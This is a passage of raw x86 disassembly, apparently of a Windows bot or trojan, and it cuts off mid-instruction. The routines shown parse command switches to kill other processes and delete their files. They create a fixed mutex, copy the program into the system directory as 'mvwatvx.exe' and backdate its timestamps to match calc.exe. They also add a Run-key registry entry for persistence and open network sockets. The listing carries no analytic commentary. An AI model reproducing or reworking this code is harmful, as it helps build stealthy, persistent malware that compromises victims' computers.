sub_413EB2+15j push dword ptr [esi] call sub_41C7B8 pop ecx add esi, 4 loc_413EC4: ; CODE XREF: sub_413EB2+5j cmp esi, [edi+8] jnz short loc_413EB9 mov ebx, [edi+14h] jmp short loc_413EE3 ; --------------------------------------------------------------------------- loc_413ECE: ; CODE XREF: sub_413EB2+34j mov esi, [ebx] test esi, esi jz short loc_413EE0 call sub_413A1C push esi call sub_41C7B8 pop ecx loc_413EE0: ; CODE XREF: sub_413EB2+20j add ebx, 4 loc_413EE3: ; CODE XREF: sub_413EB2+1Aj cmp ebx, [edi+18h] jnz short loc_413ECE mov esi, edi call sub_413A1C lea esi, [edi+10h] call sub_413A1C call sub_413A1C mov esi, edi call sub_413A1C pop esi pop ebx retn sub_413EB2 endp ; =============== S U B R O U T I N E ======================================= sub_413F06 proc near ; CODE XREF: sub_412810+47p ; sub_412810+58p arg_0 = dword ptr 4 push ebx lea ebx, [edi+10h] push esi mov eax, ebx xor esi, esi call sub_408AF0 test eax, eax jbe short loc_413F35 loc_413F18: ; CODE XREF: sub_413F06+2Dj mov eax, [edi+14h] push [esp+8+arg_0] lea eax, [eax+esi*4] mov eax, [eax] call sub_41403D mov eax, ebx inc esi call sub_408AF0 cmp esi, eax jb short loc_413F18 loc_413F35: ; CODE XREF: sub_413F06+10j pop esi pop ebx retn 4 sub_413F06 endp ; =============== S U B R O U T I N E ======================================= sub_413F3A proc near ; CODE XREF: sub_413AD1+19Bp ; sub_413AD1+1D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp eax, [esp+arg_0] jz short locret_413F5A push esi push edi loc_413F42: ; CODE XREF: sub_413F3A+1Cj mov esi, [esp+8+arg_4] mov edi, eax push 42h add eax, 108h cmp eax, [esp+0Ch+arg_0] pop ecx rep movsd jnz short loc_413F42 pop edi pop esi locret_413F5A: ; CODE XREF: sub_413F3A+4j retn sub_413F3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F5B proc near ; CODE XREF: sub_413AD1+1C3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_4140A6 add esp, 0Ch leave retn sub_413F5B endp ; =============== S U B R O U T I N E ======================================= sub_413F72 proc near ; CODE XREF: sub_4072DE+40p ; sub_407F57+17p ... var_4 = byte ptr -4 push ecx push ebx push edi mov edi, eax call sub_4073E5 mov ebx, eax mov eax, edi call sub_408AF0 cmp eax, ebx mov eax, [edi+8] jnb short loc_413F98 mov ecx, [esi] mov [eax], ecx add eax, 4 mov [edi+8], eax jmp short loc_413FA3 ; --------------------------------------------------------------------------- loc_413F98: ; CODE XREF: sub_413F72+18j push esi push eax lea ebx, [esp+14h+var_4] call sub_4073F8 loc_413FA3: ; CODE XREF: sub_413F72+24j pop edi pop ebx pop ecx retn sub_413F72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FA7 proc near ; CODE XREF: sub_413D9E+ACp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi mov eax, edi call sub_408AF0 test eax, eax jbe short loc_413FDC mov eax, [ebp+arg_0] mov ebx, [eax] mov esi, [edi+4] loc_413FC4: ; CODE XREF: sub_413FA7+33j mov eax, [esi] cmp [eax], ebx jz short loc_413FEF inc [ebp+var_4] mov eax, edi add esi, 4 call sub_408AF0 cmp [ebp+var_4], eax jb short loc_413FC4 loc_413FDC: ; CODE XREF: sub_413FA7+13j lea esi, [ebp+arg_0] mov eax, edi call sub_413F72 xor eax, eax inc eax loc_413FE9: ; CODE XREF: sub_413FA7+4Aj pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413FEF: ; CODE XREF: sub_413FA7+21j xor eax, eax jmp short loc_413FE9 sub_413FA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FF3 proc near ; CODE XREF: sub_413E66+44p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push edi xor edi, edi mov eax, ebx mov [ebp+var_8], edi mov [ebp+var_4], edi call sub_408AF0 test eax, eax jbe short loc_414035 push esi mov esi, [ebx+4] loc_414010: ; CODE XREF: sub_413FF3+3Fj mov eax, [esi] mov ecx, [eax] cmp ecx, edi jb short loc_414022 cmp [ebp+arg_0], ecx jb short loc_414022 mov edi, ecx mov [ebp+var_8], eax loc_414022: ; CODE XREF: sub_413FF3+23j ; sub_413FF3+28j inc [ebp+var_4] mov eax, ebx add esi, 4 call sub_408AF0 cmp [ebp+var_4], eax jb short loc_414010 pop esi loc_414035: ; CODE XREF: sub_413FF3+17j mov eax, [ebp+var_8] pop edi leave retn 4 sub_413FF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41403D proc near ; CODE XREF: sub_413F06+1Ep var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi mov esi, eax xor edi, edi call sub_408AF0 test eax, eax jbe short loc_414078 push ebx loc_414051: ; CODE XREF: sub_41403D+38j mov eax, [esi+4] lea eax, [eax+edi*4] mov ecx, [eax] mov ecx, [ecx] cmp ecx, [ebp+arg_0] jnz short loc_41406B push eax lea ebx, [ebp+var_4] call sub_408B03 xor edi, edi loc_41406B: ; CODE XREF: sub_41403D+21j mov eax, esi inc edi call sub_408AF0 cmp edi, eax jb short loc_414051 pop ebx loc_414078: ; CODE XREF: sub_41403D+11j pop edi pop esi leave retn 4 sub_41403D endp ; =============== S U B R O U T I N E ======================================= sub_41407E proc near ; CODE XREF: sub_413AAA+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 test eax, eax jbe short locret_4140A5 push esi push edi loc_414084: ; CODE XREF: sub_41407E+23j cmp [esp+8+arg_0], 0 jz short loc_414098 mov esi, [esp+8+arg_4] mov edi, [esp+8+arg_0] push 42h pop ecx rep movsd loc_414098: ; CODE XREF: sub_41407E+Bj add [esp+8+arg_0], 108h dec eax jnz short loc_414084 pop edi pop esi locret_4140A5: ; CODE XREF: sub_41407E+2j retn sub_41407E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140A6 proc near ; CODE XREF: sub_413F5B+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], edx jz short loc_4140CB push esi mov eax, 108h push edi loc_4140B5: ; CODE XREF: sub_4140A6+21j sub [ebp+arg_4], eax mov edi, [ebp+arg_4] sub edx, eax cmp edx, [ebp+arg_0] push 42h pop ecx mov esi, edx rep movsd jnz short loc_4140B5 pop edi pop esi loc_4140CB: ; CODE XREF: sub_4140A6+6j mov eax, [ebp+arg_4] pop ebp retn sub_4140A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140D0 proc near ; CODE XREF: sub_4073F8+26p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [eax] push ebx push esi push edi mov edi, ecx mov [ebp+var_4], eax mov eax, edi call sub_4073E5 mov esi, [ebp+arg_4] test esi, esi mov ebx, eax jz loc_414251 mov eax, edi call sub_408AF0 mov ecx, 3FFFFFFFh sub ecx, eax cmp ecx, esi jnb short loc_41410A call sub_40C38F loc_41410A: ; CODE XREF: sub_4140D0+33j mov eax, edi call sub_408AF0 add eax, esi cmp ebx, eax jnb loc_4141B8 mov eax, ebx shr eax, 1 mov ecx, 3FFFFFFFh sub ecx, eax cmp ecx, ebx jnb short loc_41412E xor ebx, ebx jmp short loc_414130 ; --------------------------------------------------------------------------- loc_41412E: ; CODE XREF: sub_4140D0+58j add ebx, eax loc_414130: ; CODE XREF: sub_4140D0+5Cj mov eax, edi call sub_408AF0 add eax, esi cmp ebx, eax jnb short loc_414148 mov eax, edi call sub_408AF0 mov ebx, eax add ebx, esi loc_414148: ; CODE XREF: sub_4140D0+6Bj shl ebx, 2 push ebx mov [ebp+var_8], ebx call sub_41BA91 push [ebp+arg_0] mov ebx, eax mov eax, [edi+4] push ebx push eax mov eax, [ebp+arg_0] call sub_41429A add esp, 10h lea ecx, [ebp+var_4] push ecx mov ecx, esi mov esi, eax call sub_40E7A8 push [ebp+arg_0] push eax push [ebp+arg_0] mov eax, [edi+8] call sub_41429A add esp, 0Ch mov eax, edi call sub_408AF0 mov esi, [ebp+arg_4] add esi, eax mov eax, [edi+4] test eax, eax jz short loc_4141A2 push eax call sub_41C7B8 pop ecx loc_4141A2: ; CODE XREF: sub_4140D0+C9j mov eax, [ebp+var_8] add eax, ebx mov [edi+0Ch], eax lea eax, [ebx+esi*4] mov [edi+8], eax mov [edi+4], ebx jmp loc_414251 ; --------------------------------------------------------------------------- loc_4141B8: ; CODE XREF: sub_4140D0+45j mov eax, [edi+8] mov ebx, [ebp+arg_0] mov ecx, eax sub ecx, ebx sar ecx, 2 cmp ecx, esi mov [ebp+arg_4], eax jnb short loc_414217 mov ecx, esi shl ecx, 2 mov [ebp+arg_0], ecx push [ebp+arg_0] add ecx, ebx push ecx push ebx call sub_41429A mov eax, [edi+8] mov edx, eax add esp, 0Ch lea ecx, [ebp+var_4] push ecx sub edx, ebx sar edx, 2 mov ecx, esi sub ecx, edx mov esi, eax call sub_40E7A8 mov eax, [ebp+arg_0] add [edi+8], eax mov edi, [edi+8] sub edi, eax jmp short loc_414211 ; --------------------------------------------------------------------------- loc_414209: ; CODE XREF: sub_4140D0+143j mov eax, [ebp+var_4] mov [ebx], eax add ebx, 4 loc_414211: ; CODE XREF: sub_4140D0+137j cmp ebx, edi jnz short loc_414209 jmp short loc_414251 ; --------------------------------------------------------------------------- loc_414217: ; CODE XREF: sub_4140D0+FAj shl esi, 2 mov [ebp+arg_0], eax sub [ebp+arg_0], esi push [ebp+arg_0] push eax push [ebp+arg_0] call sub_41429A push [ebp+arg_0] mov ecx, [ebp+arg_4] mov [edi+8], eax mov eax, [ebp+arg_0] push ebx call sub_407EA0 add esp, 14h add esi, ebx jmp short loc_41424D ; --------------------------------------------------------------------------- loc_414245: ; CODE XREF: sub_4140D0+17Fj mov eax, [ebp+var_4] mov [ebx], eax add ebx, 4 loc_41424D: ; CODE XREF: sub_4140D0+173j cmp ebx, esi jnz short loc_414245 loc_414251: ; CODE XREF: sub_4140D0+1Dj ; sub_4140D0+E3j ... pop edi pop esi pop ebx leave retn 8 sub_4140D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414258 proc near ; CODE XREF: sub_413AD1+ACp ; sub_413AD1+CDp ... arg_0 = dword ptr 4 push ebx mov ebx, ecx cmp ebx, [esp+4+arg_0] jz short loc_414281 push esi mov edx, 108h push edi loc_414268: ; CODE XREF: sub_414258+25j test eax, eax jz short loc_414275 push 42h pop ecx mov esi, ebx mov edi, eax rep movsd loc_414275: ; CODE XREF: sub_414258+12j add ebx, edx add eax, edx cmp ebx, [esp+0Ch+arg_0] jnz short loc_414268 pop edi pop esi loc_414281: ; CODE XREF: sub_414258+7j pop ebx retn sub_414258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414283 proc near ; CODE XREF: sub_408B03+Dp ; sub_40C2C2+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_41429A add esp, 0Ch leave retn sub_414283 endp ; =============== S U B R O U T I N E ======================================= sub_41429A proc near ; CODE XREF: sub_4140D0+91p ; sub_4140D0+B0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub eax, [esp+arg_0] push esi sar eax, 2 mov esi, eax shl esi, 2 push esi push [esp+8+arg_0] push [esp+0Ch+arg_4] call sub_41BFA0 add esp, 0Ch add eax, esi pop esi retn sub_41429A endp ; =============== S U B R O U T I N E ======================================= sub_4142BC proc near ; CODE XREF: sub_4142D6+3FFp push esi mov esi, eax and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh mov dword ptr [esi], offset off_430AC0 call sub_416AC4 mov eax, esi pop esi retn sub_4142BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=68h sub_4142D6 proc near ; CODE XREF: start-1C1CBp var_480 = byte ptr -480h var_2F0 = dword ptr -2F0h var_2E8 = dword ptr -2E8h var_2CC = byte ptr -2CCh var_1C8 = byte ptr -1C8h var_C4 = dword ptr -0C4h var_A4 = byte ptr -0A4h var_80 = byte ptr -80h var_78 = dword ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_54 = byte ptr -54h var_4C = byte ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp lea ebp, [esp-68h] sub esp, 480h push ebx push esi push edi push offset sub_404E2C call ds:dword_429154 ; SetUnhandledExceptionFilter mov esi, [ebp+68h+arg_8] push 3 push offset aC ; "-c " push esi call sub_41D5B0 add esp, 0Ch test eax, eax jnz short loc_41436D push 20h push esi call sub_41C3F0 pop ecx mov edi, eax pop ecx lea esi, [ebp+68h+var_A4] inc edi call sub_40466F xor ebx, ebx push ebx mov eax, esi call sub_404694 push edi call ds:dword_4290DC ; DeleteFileA push edi lea esi, [ebp+68h+arg_0] call sub_405C95 lea eax, [ebp+68h+arg_8] push eax lea esi, [ebp+68h+var_A4] mov [ebp+68h+arg_8], ebx call sub_404706 push eax call sub_4046F4 push eax lea eax, [ebp+68h+arg_0] call sub_405D36 lea esi, [ebp+68h+arg_0] call sub_405CF2 call sub_405CF2 lea eax, [ebp+68h+var_A4] call sub_404683 jmp loc_414627 ; --------------------------------------------------------------------------- loc_41436D: ; CODE XREF: sub_4142D6+2Ej push 3 push offset aK ; "-k " push esi call sub_41D5B0 mov edi, ds:dword_4290F0 add esp, 0Ch xor ebx, ebx test eax, eax jnz loc_414449 push 20h push esi call sub_41C3F0 pop ecx pop ecx mov esi, eax push ebx inc esi push 2 mov [ebp+68h+var_10], esi call sub_41B9CC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+68h+arg_8], eax jz loc_414476 lea ecx, [ebp+68h+var_2F0] push ecx push eax mov [ebp+68h+var_2F0], 128h call sub_41B9C0 ; Process32First test eax, eax jz short loc_414442 jmp short loc_4143D1 ; --------------------------------------------------------------------------- loc_4143CE: ; CODE XREF: sub_4142D6+16Aj mov esi, [ebp+68h+var_10] loc_4143D1: ; CODE XREF: sub_4142D6+F6j lea eax, [ebp+68h+var_2CC] push esi push eax call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_41442F call ds:dword_429148 ; GetCurrentProcessId cmp [ebp+68h+var_2E8], eax jz short loc_41442F push [ebp+68h+var_2E8] push ebx push 1F0FFFh call ds:dword_42913C ; OpenProcess mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41442F push ebx push esi call ds:dword_429160 ; TerminateProcess push 0EA60h push esi call ds:dword_429128 ; WaitForSingleObject push esi call edi ; CloseHandle lea eax, [ebp+68h+var_2CC] push eax call ds:dword_4290DC ; DeleteFileA loc_41442F: ; CODE XREF: sub_4142D6+10Cj ; sub_4142D6+11Aj ... lea eax, [ebp+68h+var_2F0] push eax push [ebp+68h+arg_8] call sub_41B9C6 ; Process32Next test eax, eax jnz short loc_4143CE loc_414442: ; CODE XREF: sub_4142D6+F4j push [ebp+68h+arg_8] call edi ; CloseHandle jmp short loc_414476 ; --------------------------------------------------------------------------- loc_414449: ; CODE XREF: sub_4142D6+B1j push 3 push offset aS ; "-s " push esi call sub_41D5B0 add esp, 0Ch test eax, eax jnz short loc_414476 push 20h push esi call sub_41C3F0 inc eax push eax call sub_41D59C add esp, 0Ch push eax call ds:dword_429084 ; Sleep loc_414476: ; CODE XREF: sub_4142D6+D5j ; sub_4142D6+171j ... mov eax, [ebp+68h+arg_0] mov [ebp+68h+var_30], eax lea eax, [ebp+68h+var_44] mov esi, offset aMain ; "main" push eax mov [ebp+68h+var_44], 30h mov [ebp+68h+var_40], ebx mov [ebp+68h+var_3C], offset sub_414767 mov [ebp+68h+var_38], ebx mov [ebp+68h+var_34], ebx mov [ebp+68h+var_2C], ebx mov [ebp+68h+var_28], ebx mov [ebp+68h+var_24], ebx mov [ebp+68h+var_20], ebx mov [ebp+68h+var_1C], esi mov [ebp+68h+var_18], ebx call ds:dword_42921C ; RegisterClassExA push ebx push [ebp+68h+arg_0] push ebx push ebx push ebx push ebx push ebx push ebx push ebx push offset aNull ; "null" push esi push ebx call ds:dword_429224 ; CreateWindowExA test eax, eax jz loc_414627 mov eax, [ebp+68h+arg_0] mov ds:dword_437C58, eax lea eax, [ebp+68h+var_480] push eax push 101h call ds:dword_4292C0 ; WSAStartup call ds:dword_4290A8 ; GetTickCount push offset aD3kb5sujs50lq2 ; "d3kb5sujs50lq2mr" push ebx push ebx mov ds:dword_438118, eax mov ds:dword_43811C, ebx call ds:dword_429134 ; CreateMutexA mov ds:dword_438104, eax call ds:dword_4290D8 ; RtlGetLastWin32Error cmp eax, 0B7h jz loc_414627 call sub_404B0D mov [ebp+68h+arg_8], eax mov esi, 104h push esi lea eax, [ebp+68h+var_1C8] push eax push ebx call ds:dword_4290B8 ; GetModuleFileNameA push ebx push [ebp+68h+arg_8] lea eax, [ebp+68h+var_1C8] push eax call ds:dword_429164 ; CopyFileA lea eax, [ebp+68h+var_1C8] push 5Ch push eax call sub_41C8A0 inc eax push offset aMvwatvx_exe ; "mvwatvx.exe" push eax call sub_426D1E add esp, 10h test eax, eax jz loc_41462E push esi lea eax, [ebp+68h+var_1C8] push eax call ds:dword_4290D4 ; GetSystemDirectoryA lea eax, [ebp+68h+var_1C8] push offset aCalc_exe ; "\\calc.exe" push eax call sub_41C940 or [ebp+68h+arg_0], 0FFFFFFFFh pop ecx pop ecx lea eax, [ebp+68h+var_1C8] push eax lea eax, [ebp+68h+arg_0] call sub_405CD8 lea eax, [ebp+68h+var_14] push eax lea eax, [ebp+68h+var_54] push eax lea eax, [ebp+68h+var_4C] push eax push [ebp+68h+arg_0] call ds:dword_429170 ; GetFileTime lea esi, [ebp+68h+arg_0] call sub_405CF2 push [ebp+68h+arg_8] mov eax, esi call sub_405CD8 lea eax, [ebp+68h+var_14] push eax lea eax, [ebp+68h+var_54] push eax lea eax, [ebp+68h+var_4C] push eax push [ebp+68h+arg_0] call ds:dword_42915C ; SetFileTime call sub_405CF2 push 44h pop esi push esi lea eax, [ebp+68h+var_C4] push ebx push eax call sub_41C6D0 add esp, 0Ch lea eax, [ebp+68h+var_64] push eax lea eax, [ebp+68h+var_C4] push eax push ebx push ebx push ebx push ebx push ebx push ebx push ebx push [ebp+68h+arg_8] mov [ebp+68h+var_C4], esi call ds:dword_4290EC ; CreateProcessA push [ebp+68h+var_64] call edi ; CloseHandle push [ebp+68h+var_60] call edi ; CloseHandle lea esi, [ebp+68h+arg_0] call sub_405CF2 loc_414627: ; CODE XREF: sub_4142D6+92j ; sub_4142D6+1F8j ... xor eax, eax jmp loc_41475D ; --------------------------------------------------------------------------- loc_41462E: ; CODE XREF: sub_4142D6+298j push 18h call sub_41BA91 cmp eax, ebx pop ecx jz short loc_41463F call sub_40DB3C loc_41463F: ; CODE XREF: sub_4142D6+362j push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h lea esi, [ebp+68h+var_C] call sub_40D8DC push [ebp+68h+arg_8] mov edi, offset aMvwatvx ; "mvwatvx" push edi call sub_40DA05 push eax call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_4146A3 push [ebp+68h+arg_8] mov eax, esi push edi push eax call sub_40D9DE test eax, eax jz short loc_4146A3 call sub_40DB08 push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h mov eax, esi push eax call sub_40DAEF push [ebp+68h+arg_8] mov eax, esi push edi push eax call sub_40D9DE call sub_40DB08 loc_4146A3: ; CODE XREF: sub_4142D6+393j ; sub_4142D6+3A3j call sub_409351 cmp eax, 0Ah jnb short loc_4146B2 call sub_402920 loc_4146B2: ; CODE XREF: sub_4142D6+3D5j push 598h call sub_41BA91 cmp eax, ebx pop ecx jz short loc_4146C9 push 1 push eax call sub_40B8D4 loc_4146C9: ; CODE XREF: sub_4142D6+3E9j push 10h call sub_41BA91 cmp eax, ebx pop ecx jz short loc_4146DA call sub_4142BC loc_4146DA: ; CODE XREF: sub_4142D6+3FDj push 10h call sub_41BA91 cmp eax, ebx pop ecx jz short loc_4146EB call sub_408B23 loc_4146EB: ; CODE XREF: sub_4142D6+40Ej call sub_404C05 test eax, eax jz short loc_414727 push 5A8h call sub_41BA91 cmp eax, ebx pop ecx jz short loc_414727 xor ecx, ecx mov cx, ds:word_435C08 push offset dword_435BF4 push offset dword_435ACC mov edi, eax push ecx xor ecx, ecx mov cl, ds:byte_435C04 push ecx call sub_40C6A4 loc_414727: ; CODE XREF: sub_4142D6+41Cj ; sub_4142D6+42Bj mov esi, ds:dword_429268 jmp short loc_414743 ; --------------------------------------------------------------------------- loc_41472F: ; CODE XREF: sub_4142D6+478j lea eax, [ebp+68h+var_80] push eax call ds:dword_4291F0 ; TranslateMessage lea eax, [ebp+68h+var_80] push eax call ds:dword_429204 ; DispatchMessageA loc_414743: ; CODE XREF: sub_4142D6+457j push ebx push ebx lea eax, [ebp+68h+var_80] push ebx push eax call esi ; GetMessageA test eax, eax jg short loc_41472F mov esi, [ebp+68h+var_78] lea eax, [ebp+68h+var_C] call sub_40D8F7 mov eax, esi loc_41475D: ; CODE XREF: sub_4142D6+353j pop edi pop esi pop ebx add ebp, 68h leave retn 10h sub_4142D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414767 proc near ; DATA XREF: sub_4142D6+1B9o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_F = byte ptr 17h push ebp mov ebp, esp mov eax, [ebp+arg_4] dec eax dec eax jz short loc_4147AE sub eax, 0Fh jz short loc_41477D pop ebp jmp ds:dword_429228 ; --------------------------------------------------------------------------- loc_41477D: ; CODE XREF: sub_414767+Dj test [ebp+arg_F], 80h push ebx mov ebx, offset dword_438154 jz short loc_414790 push offset dword_430ADC jmp short loc_414795 ; --------------------------------------------------------------------------- loc_414790: ; CODE XREF: sub_414767+20j push offset dword_430ACC loc_414795: ; CODE XREF: sub_414767+27j call sub_408012 push dword ptr [ebp+14h] push [ebp+arg_8] push 11h push [ebp+arg_0] call ds:dword_429228 ; DefWindowProcA pop ebx jmp short loc_4147B8 ; --------------------------------------------------------------------------- loc_4147AE: ; CODE XREF: sub_414767+8j push 0 call ds:dword_429220 ; PostQuitMessage xor eax, eax loc_4147B8: ; CODE XREF: sub_414767+45j pop ebp retn 10h sub_414767 endp ; =============== S U B R O U T I N E ======================================= sub_4147BC proc near ; DATA XREF: .text:00430B9Co xor eax, eax inc eax retn 2Ch sub_4147BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147C2 proc near ; CODE XREF: .text:0040A76Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push ebx xor ebx, ebx inc ebx cmp ecx, ebx push esi mov esi, eax ja short loc_4147D8 or eax, 0FFFFFFFFh jmp short loc_414849 ; --------------------------------------------------------------------------- loc_4147D8: ; CODE XREF: sub_4147C2+Fj test ecx, ecx push edi jbe short loc_4147E3 xor eax, eax mov edi, esi rep stosd loc_4147E3: ; CODE XREF: sub_4147C2+19j push [ebp+arg_8] push [ebp+arg_0] call sub_41CE46 cmp [ebp+arg_4], ebx pop ecx pop ecx mov [esi], eax jbe short loc_414838 loc_4147F7: ; CODE XREF: sub_4147C2+74j mov edi, ebx shl edi, 2 mov eax, [edi+esi-4] test eax, eax jz short loc_41482C mov ecx, [ebp+arg_4] dec ecx cmp ebx, ecx jnz short loc_41481D push eax call sub_41C350 pop ecx mov ecx, [edi+esi-4] lea eax, [eax+ecx+1] jmp short loc_414829 ; --------------------------------------------------------------------------- loc_41481D: ; CODE XREF: sub_4147C2+48j push [ebp+arg_8] push 0 call sub_41CE46 pop ecx pop ecx loc_414829: ; CODE XREF: sub_4147C2+59j mov [edi+esi], eax loc_41482C: ; CODE XREF: sub_4147C2+40j cmp dword ptr [edi+esi], 0 jz short loc_414838 inc ebx cmp ebx, [ebp+arg_4] jb short loc_4147F7 loc_414838: ; CODE XREF: sub_4147C2+33j ; sub_4147C2+6Ej mov esi, [esi] or eax, 0FFFFFFFFh test esi, esi pop edi jz short loc_414849 push esi call sub_41D59C pop ecx loc_414849: ; CODE XREF: sub_4147C2+14j ; sub_4147C2+7Ej pop esi pop ebx pop ebp retn sub_4147C2 endp ; =============== S U B R O U T I N E ======================================= sub_41484D proc near ; CODE XREF: sub_40497E+71p ; sub_404A16+6Cp ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] call ds:dword_429270 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_414874 push [esp+4+arg_0] call ds:dword_4292B4 ; gethostbyname test eax, eax jz short loc_414874 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_414874: ; CODE XREF: sub_41484D+10j ; sub_41484D+1Ej mov eax, esi pop esi retn sub_41484D endp ; =============== S U B R O U T I N E ======================================= sub_414878 proc near ; CODE XREF: sub_4048C1+53p ; sub_407466+4Ep ... push edi mov edi, esi call sub_404CB9 lea edi, [esi+22Ch] call sub_404CB9 or dword ptr [esi+458h], 0FFFFFFFFh xor eax, eax mov [esi+46Ch], eax mov [esi+470h], eax mov [esi+474h], al mov eax, esi pop edi retn sub_414878 endp ; =============== S U B R O U T I N E ======================================= sub_4148AA proc near ; CODE XREF: sub_4048C1+5Dp ; sub_407466+57p ... cmp ecx, 1 push esi push 2 mov esi, eax pop edx mov [esi+460h], ecx mov [esi+45Ch], edx jnz short loc_4148CD mov dword ptr [esi+464h], 6 jmp short loc_4148E4 ; --------------------------------------------------------------------------- loc_4148CD: ; CODE XREF: sub_4148AA+15j cmp ecx, edx jnz short loc_4148DD mov dword ptr [esi+464h], 11h jmp short loc_4148E4 ; --------------------------------------------------------------------------- loc_4148DD: ; CODE XREF: sub_4148AA+25j and dword ptr [esi+464h], 0 loc_4148E4: ; CODE XREF: sub_4148AA+21j ; sub_4148AA+31j mov eax, [esi+464h] call sub_4148F1 pop esi retn sub_4148AA endp ; =============== S U B R O U T I N E ======================================= sub_4148F1 proc near ; CODE XREF: sub_4148AA+40p push eax push ecx push edx mov [esi+45Ch], edx mov [esi+460h], ecx mov [esi+464h], eax call ds:dword_4292A8 ; socket mov [esi+458h], eax retn sub_4148F1 endp ; =============== S U B R O U T I N E ======================================= sub_414913 proc near ; CODE XREF: sub_409BDA+27Bp ; sub_409BDA+649p ... arg_0 = byte ptr 4 push esi push edi mov eax, 8Bh mov ecx, eax lea esi, [esp+8+arg_0] mov edi, edx rep movsd lea edi, [edx+22Ch] mov ecx, eax lea esi, [esp+8+arg_0] rep movsd pop edi pop esi retn 22Ch sub_414913 endp ; =============== S U B R O U T I N E ======================================= sub_414937 proc near ; CODE XREF: sub_409BDA+36Ap cmp dword ptr [eax], 0 jnz short loc_414948 cmp dword ptr [eax+22Ch], 0 jnz short loc_414948 xor eax, eax retn ; --------------------------------------------------------------------------- loc_414948: ; CODE XREF: sub_414937+3j ; sub_414937+Cj xor eax, eax inc eax retn sub_414937 endp ; =============== S U B R O U T I N E ======================================= sub_41494C proc near ; CODE XREF: sub_40FB5A+A5p ; sub_414997+1Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 8 lea eax, [esi+8] push 0 push eax call sub_41C6D0 mov ax, [edi+45Ch] push [esp+0Ch+arg_0] mov [esi], ax call sub_41484D add esp, 10h cmp word ptr [esp+arg_4], 0 mov [esi+4], eax jnz short loc_414986 xor eax, eax mov ax, [edi+468h] push eax jmp short loc_41498A ; --------------------------------------------------------------------------- loc_414986: ; CODE XREF: sub_41494C+2Cj push [esp+arg_4] loc_41498A: ; CODE XREF: sub_41494C+38j call ds:dword_4292E4 ; htons mov [esi+2], ax retn 8 sub_41494C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414997 proc near ; CODE XREF: sub_4048C1+7Bp ; .text:00407B36p ... var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 mov edi, ecx push offset word_42FE36 lea esi, [ebp+var_10] mov [edi+468h], ax call sub_41494C push 10h mov eax, esi push eax push dword ptr [edi+458h] call ds:dword_4292C4 ; bind push edi mov esi, eax call sub_414BCD mov [edi+468h], ax pop edi mov eax, esi pop esi leave retn sub_414997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149DD proc near ; CODE XREF: sub_40E0FA+16p ; sub_40FC45+3Cp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx test eax, eax push esi mov esi, ecx mov [ebp+var_4], eax jnz short loc_4149F4 push ebx xor ebx, ebx call sub_414AE0 pop ebx loc_4149F4: ; CODE XREF: sub_4149DD+Cj lea eax, [ebp+var_4] push eax push 8004667Eh push dword ptr 